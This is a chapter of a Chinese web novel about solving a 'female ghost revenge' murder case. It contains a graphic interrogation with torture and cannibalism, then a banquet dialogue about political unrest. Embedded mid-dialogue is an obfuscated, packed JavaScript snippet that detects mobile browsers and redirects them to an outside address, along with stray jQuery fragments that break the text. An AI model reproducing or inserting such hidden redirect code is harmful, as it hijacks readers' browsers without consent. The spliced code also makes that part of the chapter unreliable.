默认冷灰
24号文字
方正启体

39. 真相大白(修)

作者:湘水泽兰本书字数:K更新时间:
    而他们密室里的石磨便是仿的石磨地狱吗?


    石磨地狱、剪刀地狱、铁树地狱,画乃十三幅,加上还未来得及画的这三幅,那便是十六幅。十八层地狱,如今有了十六幅,那还剩下两幅……


    封灵籁好像明白为何包子铺夫妇卧房的十八层地狱图只有十三幅了,“唰”的一下,她便站起了身。


    她扫视一圈,见众人视线皆落在她身上,她有些尴尬地又坐回椅上,还是等审问结束再说罢,她隐下心中猜想,专注地听外室的审问。


    阴暗的审讯室里,空气凝固得令人窒息。两位犯人依旧沉默不语,但审讯官的脸上却不见丝毫焦躁。他慢条斯理地松开手,踱步回到那张斑驳的木桌前,掀开了蒸笼盖子。


    白雾腾起的一瞬间,两个犯人的瞳孔不约而同地收缩了一下。审讯官从蒸笼里取出一个包子,包子皮在烛光下泛着诱人的光泽。


    审讯官掰开了包子,金黄的油汁立刻从裂口处涌出,顺着他的手指滴落。浓郁的肉香在密闭的空间里炸开,瞬间盖过了铁锈般的血腥味。


    两个犯人不自觉地咽了咽口水,喉结上下滚动。


    审讯官用指尖挑出饱满的肉馅,踱到男犯人跟前。他将那团油亮的肉馅在对方鼻尖前缓缓晃过,嘴角勾起一抹意味深长的笑:“香吗?”


    男犯人的胃袋早已空空如也,他从昨夜到现在滴水未进。此刻那团油润的肉馅散发出的香气,像钩子般直往他胃里钻。


    他不受控制地吞咽着,喉结剧烈滚动,却仍倔强地别过脸去——他比谁都清楚这肉馅的来历。


    审讯官见状,唇边浮起一抹讥诮的弧度。他踱步到女犯人跟前,将那团犹带热气的肉馅凑到她鼻尖下。女犯人死死闭着眼睛,睫毛不住颤动,单薄的身子突然打了个寒战。


    审讯官见状,讥诮的笑容转变成满意的笑容:“三十七对新婚夫妇,我们只找到被你们挂在铁树上的新娘,而消失的新郎被你们用卧房密室内放的石磨给磨成肉沫,然后又做成包子卖了出去,我说的对吧?”


    女犯人闻言,猛地睁开双眼,眼神中的讥讽像一道锥心的银箭刺向审问官,“这些人肉做的包子,你们不是很喜欢吗?我记得你们的县太爷还差人来买过我家的包子呢?还不止一次,我瞧他很是喜爱呢!”


    她大笑了几声,又喘着气道:“对了,说不定他们家里人也来买过,也吃过自己儿子、兄弟肉做得包子。”


    审讯官的脸色骤然一变,原本冷静的面容上闪过一丝不易察觉的慌乱。他将手心的肉馅扔掉,快步至一旁放刑具的架子上,取了一柄短鞭。“啪”的一声,将短鞭狠狠甩在女犯人的身上,“竟敢胡说八道!”


    女犯人吃痛,咬着牙并未叫出声,审讯官见状,又是一鞭,厉声喝道:“作恶多端的女贼!县太爷的清白岂是你能污蔑的。”


    女犯人闻言,见他被激怒,笑得更加放肆,眼中全是讥讽与疯狂:“清白?哈哈哈,你们当官的又有几人是清白的?茅坑里的石头都比你们干净!不是最喜民脂民膏吗?真让你们吃了,你们又不愿了,当真是可笑!”


    审讯官脸色铁青,额上青筋暴起,怒吼道:“看我不打死你!”


    男犯人眼见鞭子抽在妻子身上,顿时双目赤红,脖颈上青筋暴起。他猛地挣动镣铐,铁链哗啦作响:“狗官!你真当上头不知道我们做的事?”他啐出一口血沫,声音嘶哑却充满狠劲,“要不是那两个不长眼的外乡人搅局,就凭你们这些酒囊饭袋,也配动我们一根指头?”


    他忽然咧开染血的嘴角,露出森森白牙:“等着瞧吧...很快便有人来治你们的罪!”


    审讯官呼吸变得粗重,他扔掉短鞭,从一旁架子上取下一把钳子,上前夹住男犯人的大腿:“让你胡言乱语!好啊,在他们来治罪之前,我先让你生不如死!!”


    男犯人的惨叫声撕破了审讯室凝滞的空气,像钝刀般一下下剐着女犯人的耳膜。她浑身发抖,泪水混着血水在脸上蜿蜒:“求您...求您饶了他...…”她的哀求声支离破碎,很快就被新一轮的惨叫淹没。


    渐渐地,两种截然不同的惨叫声在密闭的审讯室里交织在一起。


    男声嘶哑如困兽,女声尖利似裂帛。它们此起彼伏,在斑驳的砖墙间来回碰撞,最终融成一片令人毛骨悚然的哀鸣。那声音仿佛有了实体,在潮湿的空气中久久盘旋,挥之不去。


    内室,早已空无一人。


    *


    夜色渐深,府尹府内却灯火通明。


    这桩缠绕多时的女鬼复仇案终于真相大白。那些失踪的新婚夫妇,无论是挂在铁树上的新娘,还是被磨成肉馅的新郎,都得以重见天日。这场闹得满城风雨的案子总算是尘埃落定。


    应天行特意在府中设宴,以谢封灵籁等人的仗义相助。他不仅请来了城里最有名的厨子,还亲自盯着下人布置厅堂。


    红木圆桌上摆满了时令鲜味:清蒸鲈鱼泛着油光,蟹粉狮子头香气扑鼻,时蔬翠绿欲滴,一坛陈年花雕刚刚启封,醇厚的酒香便弥漫了整个厅堂。


    “这次多亏诸位鼎力相助。”应天行举起酒杯,眼角微微泛红,“若不是诸位,这案子还不知要拖到何时。”


    言罢,他一口干,将空杯示意给众人看。


    戚玉嶂与封灵籁相视一眼,两人微微一笑,举杯回敬:“应大人客气了,此案能破,也是大家齐心协力之功。”


    席间众人纷纷举杯,气氛渐渐热闹起来。


    酒过三巡,菜过五味,应天行忽然叹了口气,神色有些凝重:“不过,此案虽然了结,但死者家人可不好安抚啊。”


    封灵籁放下手中的酒杯,神情也变得严肃起来:“确实如此。那些死者家人失去了至亲,心中的伤痛难以言表。更何况,人死皆以入土为安以示抚慰亡灵,他们…他们家人难免会对官府和朝廷心生怨怼。”


    应天行点了点头,眉头紧锁:“正是如此。我已经派人去安抚家属,但效果甚微。尤其是那些新郎的家人,得知自己的儿子、兄弟竟被……唉,他们情绪激动也是正常,我是怕有人会因此偏激加入起义。”


    “起义?”封灵籁眉头一皱,神色骤然凝重起来,“应大人,此话何意?难道此地已有起义的苗头?”


    应天行长叹一声,神色间满是忧虑:“无名姑娘有所不知,近年来朝廷赋税沉重,加之地方官员贪腐横行,百姓早已怨声载道。南魏狼子野心,多次举攻进犯,我东安连失十一城,北齐又虎视眈眈,山河不保。”


    “此次‘女鬼报复案’恐怕会激起民愤,尤其是那些新婚夫妇的家人,他们痛失至亲,心中悲愤难平。听闻淮山有人揭竿起义,自封为陈王,声势浩大,我是怕有人蓄意煽动,到时我东安内忧外患更甚。”


    封灵籁冷笑一声,语气中带着几分讥讽:“官逼民反,民不得不反。朝廷若是早些整治贪官污吏,何至于让百姓走到这一步?”


    此言一出,应天行微醺的酒意也清醒了几分,他脸色阴沉地盯着封灵籁。


    戚玉嶂闻言,也是大惊失色,他连忙起身向应天行拱手赔罪:“应大人,无名姑娘一时失言,还请大人海涵。她性子直率,并无冒犯之意。”


    应天行的脸色依旧阴沉,目光在封灵籁和戚玉嶂之间来回扫视,最终冷冷地说道:“无名姑娘,此话若是传出去,恐怕会引来杀身之祸。朝廷之事,岂是你等可以妄议的?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405482|168757||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    戚玉嶂眼神示意,最终封灵籁压下心中所想,起身赔礼:“应大人所言极是,民女乡野之人,口无遮拦,还望大人见谅。”


    应瑶见状,也打圆场:“爹爹,你今日酒喝太多了,若让娘亲知晓定要生你的气。我们快些用了解酒汤,回房歇息吧?”


    言罢,她高声对外道:“将本小姐先前让你们熬的解酒汤端进来。”


    须臾,丫鬟们端着解酒汤进了屋,应瑶接过一碗,递至父亲面前,柔声道:“爹爹,趁热喝了吧,解解酒气。”


    应天行接过汤碗,吹散热气,慢慢将解酒汤饮尽。汤药入喉,他顿时觉得胃里一阵暖意,酒意也散了几分。


    这时,他神色缓和许多,摆了摆手,“罢了,罢了,你今夜所言,我便当作没听过。夜也深了,你们饮了解酒汤,也回去休息吧。”


    “阿离,你替为父送送两位贵客。”


    应瑶见父亲神色缓和,心中也松了一口气,“是,爹爹放心,女儿一定好好送两位贵客。”


    应天行微微点头,在小厮的搀扶下离开了厅堂。


    应瑶目送父亲离开后,转身看向封灵籁两人,脸上带着得体的笑容,轻声道:“无名姑娘,今夜便歇在我府上吧,我送你们去休息。”


    封灵籁笑道:“那便恭敬不如从命了。”


    应瑶亲昵地挽住封灵籁的手臂,指尖不经意触到她练武留下的薄茧,眼中闪着羡慕的光:“无名姑娘,你真了不起!要是我也会武功就好了。”


    戚玉嶂不紧不慢地跟在后面,目光在两人交叠的手臂上停留了一瞬。


    “你想学武?”封灵籁有些意外地侧过头。


    “可不是嘛!”应瑶雀跃地晃了晃她的手臂,“要不...你教教我?”


    封灵籁望着眼前这个锦衣玉食的官家小姐,不禁失笑:“练武可是要吃不少苦头的。你是千金之躯,出门前呼后拥的,何必受这个罪?”


    应瑶突然停下脚步,小嘴一撅:“你这话...莫不是瞧不起人?”


    “不不不!”封灵籁慌忙摆手,“我是说...我这点三脚猫功夫哪配教你。要不...等你寻个正经师父...”她顿了顿,声音渐渐低了下去,“或者...等我再历练几年,回来教你...…”


    “好呀,等你学成归来当我的老师。”


    封灵籁打趣道:“那时,你恐怕已如愿嫁给你的恒郎了吧。”


    说到她的青梅竹马恒郎,应瑶神情晦暗,声音有些闷闷的:“提他做甚,世间好儿郎多得是,你还说要给我引荐俏郎君,如今不作数了?”


    “只要你愿意,自然是作数的。可是,你与你的恒郎真不能重归于好了?女鬼报复的背后真凶已被抓捕归案,现下城内两情相悦之人不用再害怕,可安心成亲。说不定,明日你的恒郎便闻讯向你家提亲来了,到时你也还要我给你引荐俏郎君吗?”


    应瑶没有回答,只是抿了抿唇,眼中闪过一丝黯然。


    封灵籁见状,知她心中难过,也不再调侃她,反而轻轻握住她的手,安慰道:“婚姻大事不可儿戏,嫁人这事啊,就像挑衣裳——合不合身,只有自己知道。若是见着他,心里就像揣了只欢快的雀儿;若是想起他,连做梦都能笑出声来——那便是找对人了。若是整日里患得患失,眼泪比笑容还多...那这姻缘,不要也罢。鸟择良木而栖,人择君子而处。婚姻也是同理。”


    应瑶勉强笑了笑:“谢谢你。”


    月光洒在青石板砖上,淡淡的银色光晕如同水中漩涡晕开,两人一路无话地穿过一道长廊,来至府中客房。


    应瑶松开手,笑道:“我便送到此处,你们进屋休息吧。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)